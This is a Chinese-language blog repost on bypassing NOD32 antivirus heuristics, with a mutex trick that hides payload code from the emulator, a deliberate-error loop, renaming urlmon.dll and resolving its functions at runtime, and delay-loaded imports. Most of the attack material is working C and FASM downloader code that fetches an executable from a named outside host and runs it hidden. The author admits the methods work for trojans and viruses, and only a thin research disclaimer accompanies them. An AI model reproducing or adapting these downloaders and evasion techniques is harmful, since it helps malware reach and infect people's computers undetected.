源码免杀-过启发式的思路
定位免殺NOD32的一些經驗
----collect dying site:http://www.idying.cn
歡迎大家一起討論
先說下定位方法:
1 NOD32不能正向定位的,定位出來也是不能修改的!針對nod32應該選擇反向定位,開始位置為400
填充不一定是90 可以使任意的 現在填90有時候被干擾的
2 使用排除法
收集下目前免殺過NOD32的方法
源碼:
1
源碼免殺的另類方法函數的延遲加載
例:
復制內容到剪貼板 程序代碼
#pragma???comment(lib, "delayimp.lib?"); //此處必須
#pragma???comment(linker,?? "/DELAYLOAD:ADVAPI32.dll")?
#pragma???comment(linker,?? "/DELAY:unload?? ")
#pragma???comment(lib,?? "ADVAPI32.lib")?? //加上這一行就可以了
2
利用多線程反Nod32啟發式偵查
復制內容到剪貼板 程序代碼
/*--------------------------------------
/Author:GTR4[O.S.T]
/Email:502440115@qq.com
/Time:2009/8/29
/FROM:www.3est.com
/Copyright (c) 2009 GTR4.
/
/Just for fun!
/Do it ,do our best!
*/--------------------------------------
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR???? lpCmdLine,
int?????? nCmdShow)
{
char strAppName[] = "GTR4";
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
//創建互斥對象
hMutex = CreateMutex(NULL, FALSE, strAppName);
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBox(NULL,"Two","",0);
//病毒線程GW...... 自己發揮~
URLDownloadToFile(NULL,"http://.exe","C:\test.exe",0,NULL);
ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
}
else
{
MessageBox(NULL,"One","",0);
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
Sleep(1000);
ExitProcess(-1);
}
}
return 0;
}
3 百度找的一些資料
下面我們來深入的剖析nod32的啟發機制:
??? 我還是用簡單的下載者來進行實例的分析,這個無關緊要,因為nod32的機制是一樣的,這些方法你可以用到任意的例如木馬或者是病毒上。。
??? 啟發式我覺得應該歸根于文件掃描引擎中,所以我們就將其叫做啟發式掃描吧。那么nod32,不僅僅只是啟發式掃描,并且它也應用了傳統的特征碼匹配技術(特征碼匹配技術就是截獲病毒樣本,然后人為的進行逆向分析,這里為nod32的病毒樣本分析師帥哥致敬,這些帥哥找出這個樣本的一些特殊地方,然后將這這些特殊地方作為特征碼存放到病毒庫中并其一個名稱, 例如nod32的起名規則一般為“平臺/定義名稱,舉例 win32/ trojanDownLoader)。nod32的啟發從控制臺的文件監控選項也能看出來。
我們看到它有一個高級啟發式掃描的選項,我們勾選這個,則掃描引擎在掃描文件的時候才會去調用高級啟發式掃描的過程。所以這個大家一定要注意勾選啊。o(∩_∩)o... 否則..如果nod32病毒庫沒有匹配特征碼的話,你就over了。。
?? nod32的啟發比較智能和效率高,其一個原因就是它將一些函數分成一些特定的組合。 例如下載,馬上執行這就是一個典型的下載者行為。所以nod32一般會將下載和執行作為下載者的依據。(當然可能還要做更多的判斷,例如判斷這個程序是否還有其他的行為,如果僅僅是下載執行那么必是一個下載者)。
???
??? 我們做個測試,寫一段代碼,僅僅是下載的話。nod32是不查殺的。 我們的代碼如下:?
Code:
format PE GUI 4.0 \?
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi?
???
ret
;// data ///?
.data
szUrl db 'http://www.xyblack.cn/s.exe', 0?
szPath db 'c:\1.exe', 0?
PathSize = $-szPath
.idata
library urlmon, 'urmon.dll'?
???
include 'api\urlmon.inc'
上述代碼編譯后,nod32不報毒。
?? 但是只要在???? i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意的執行函數( 如i WinExec, szPath, SW_HIDE),則nod32報毒 。nod32最出色的是它會去分析程序的引入表, 舉個例子,例如下載執行的函數大多數都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等,所以我們的程序只要引入了Urlmon.dll或kernel32.dll,并且只要程序中使用了URLDownloadToCacheFile 函數,并引入kernel32.dll,nod32就會報毒,這無疑簡化了很多效率,但是卻有誤報啊,例如對于一些可以構建pe結構的編譯器編譯的程序,如果人家引入了kernel32.dll但是功能僅僅是一個下載,你確報毒,這無疑是誤報啊。。。。?
但是對于nod32這樣出色的殺毒軟件,它不會判斷你引入這些危險的函數就直接將你定義為病毒, 因為這些函數很多正常的程序也是會調用的。 而它會依據虛擬機代碼仿真技術重點對你引入的這些函數去重點進行分析,分析其行為以及參數等。?
那么nod32真的這么難突破嗎???? 那么下面我們就來實戰的通過兩個角度來實戰突破nod32的啟發機制。
突破方式角度1:?
???
?? 因為nod32是基于虛擬機的形式,所以第一種方法是基于虛擬機。 實質是思維邏輯的判斷。 nod32通過虛擬機代碼仿真,那么我在其上面給你一段正常的代碼。(注:這個之前的大致思路是朋友發現的,不過下面的整個思路和想法是自己所思索的)
?? 舉例例如:
?? i GetModuleFileName, esi, ebx, MAX_PATH?
???
??? i WinExec, ebx, SW_HIDE
i ExitProcess, 0
?? 這很正常吧。獲得自己的文件路徑,運行后就退出。 我想nod32的引擎在虛擬機分析到這里肯定就已經斷定是一個正常程序了。?? 因為尤其是到ExitProcess這個函數地址處,因為這已經表示這個程序退出了。。?
那么大家仔細看,上面是獲取自己的路徑,然后運行自己。那么我們只要讓它在第二次運行的時候去判斷自己已經運行過了,從而跳轉到特定的地址去執行,這個地址才是我們的木馬的代碼。?? 因為nod32每次分析我們的木馬,由于是初次運行,所以我們的判斷絕對跳轉沒有實現,所以指令只會去執行這幾句代碼,所以迫使nod32認為這就是個正常的程序代碼。 以此躲過nod32的啟發。
實現代碼如下:?
Code:
format PE GUI 4.0 \?
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi?
???
i CreateEvent, esi, esi,esi, szMutex?
???
i GetLastError?
???
or eax, eax?
???
jne @f?
???
mov ebx, szName?
???
i GetModuleFileName, esi, ebx, MAX_PATH?
???
i WinExec, ebx, SW_HIDE?
???
i Sleep, 1000?
???
jmp _end?
???
???
@@:
???
i URLDownloadToFile, esi, szUrl, szPath, esi, esi?
???
i WinExec, szPath, SW_SHOW?
???
_end:
i ExitProcess, 0
;// data ///
section '.data' data readable writeable
szMutex db 'woaihaha',0
szUrl db 'http://www.xyblack.cn/s.exe', 0
szPath db 'F:\2.exe', 0
szName rb MAX_PATH
.idata
?? library urlmon, 'urlmon.dll',\?
???? kernel32, 'kernel32.dll'?
???
include 'api\urlmon.inc'?
include 'api\kernel32.inc'
解釋:???? 其實就是加了個創建命名內核空間的函數,由于第一次運行創建命名內核對象函數的話是創建成功的,所以我們就是依據這個原理進行了判斷,如果創建失敗的話再去執行下載函數,而創建命名內核對象的函數是在 所創建的命名內核對象已存在的情況下才會失敗,試問nod32來模擬此指令的時候是創建的成功的,所以它會去執行下面的獲得程序的文件路徑,然后運行自己,退出程序。 在分析到退出程序的時候,它已經認為這個程序是個安全的了。 而我們的程序第二次運行的時候因為內核對象已經存在了,所以創建失敗,然后會去執行下載,執行的函數。。??????
這樣,輕松簡單的突破nod32啟發機制。。
突破方式角度2:
?? 此突破方案,還是基于對nod32虛擬機代碼模擬思維邏輯。 由于nod32是基于虛擬機進行,那么我想我精心設計一個函數,使其是個錯誤的,nod32模擬分析到這里,它模擬到這個函數本就是個錯誤的。我想它肯定不會在再去分析一遍這個函數,所以它肯定還是分析下面的指令,它分析到執行函數,認為這僅僅就是一個的執行文件的程序嘛,所以也認為是其安全的。。 呵呵,這樣也簡單的突破nod32的啟發。
代碼:
Code:
format PE GUI 4.0 \?
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi?
???
mov edi, edi?
???
xor ebx, ebx?
???
jmp @f?
???
_l1:?
mov edi, szUrl?
???
mov ebx, szPath?
@@:?
i URLDownloadToFile, esi, edi, ebx, esi, esi
or eax, eax?
???
jne _l1?
???
???
i WinExec, szPath, SW_HIDE?
???
i ExitProcess, 0
;// data ///?
.data
szUrl db 'http://www.xyblack.cn/s.exe', 0?
szPath db 'c:\1.exe', 0?
???
PathSize = $-szPath
.idata
library urlmon, 'urlmon.dll',\?
???? kernel32, 'kernel32.dll'?
???
include 'api\urlmon.inc'?
include 'api\kernel32.inc'
突破方式角度3:
??? 此方法是基于動態地址獲取的,因為在我分析的過程中,我發現nod32對于非系統庫的dll的獲取非常不敏感。。???? 因為LoadLibrary 和GetProcAddress組合,我想nod32肯定將這個函數組合也放到特定的匹配包里了。但是nod32在分析的過程中針對LoadLibrary的參數進行分析時,如果這個參數指向的是非系統的dll,則nod32不進行重點分析,因為這可能是一個用戶的dll,并且輸出接口名一樣也是有可能的。可能這時候有人說我自己寫個dll,然后實現一個下載過程,然后輸出接口。你要知道你寫的dll還是引入了系統的dll的輸出接口,所以還是被nod32殺的。 而咱這個是把一個操作系統本身的無毒東東,換個名字就變成有毒的了。 哈哈
代碼:
Code:
format PE GUI 4.0 \?
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
section '.text' code readable writeable executable
szText db 'URLDownloadToFileA', 0
szUrl db 'http://www.xyblack.cn/bitmap.exe', 0
szPath db 'c:\1.exe', 0
szDll db '\urlmon.dll', 0, 0
szNewPath db 'c:\3.dll',0
szWindowPath rb MAX_PATH?
??
__start:
i GetSystemDirectory, szWindowPath, MAX_PATH?
???
mov edi, szWindowPath?
???
repne scasb
mov ecx, 4?
???
mov esi, szDll?
???
rep movsd?
???
i CopyFile, szWindowPath, szNewPath, FALSE?
???
i LoadLibrary, szNewPath?
???
i GetProcAddress,eax, szText?
???
xor esi, esi?
???
stdcall eax, esi, szUrl, szPath, esi, esi?
???
i WinExec,szPath, SW_HIDE?
???
ret
;// data ///
.idata
library kernel32, 'kernel32.dll'
include 'api\kernel32.inc'
???? 希望此篇文章能引起nod32的高度重視,,并且希望此篇文章可以幫助到大家深入的理解啟發機制,此文僅用于技術研究,如果用此文的技術做任何違法事情,本人概不負責。。因為我想目前網絡上應該木有任何一篇文章能是本文這樣實例進行進行剖析的,最后祝愿祖國的奧運會舉辦成功!!!!!
超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生
總結
以上是生活随笔為你收集整理的源码免杀-过启发式的思路的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小红伞和NOD32基于源码的免杀经验总结
- 下一篇: 源码免杀笔记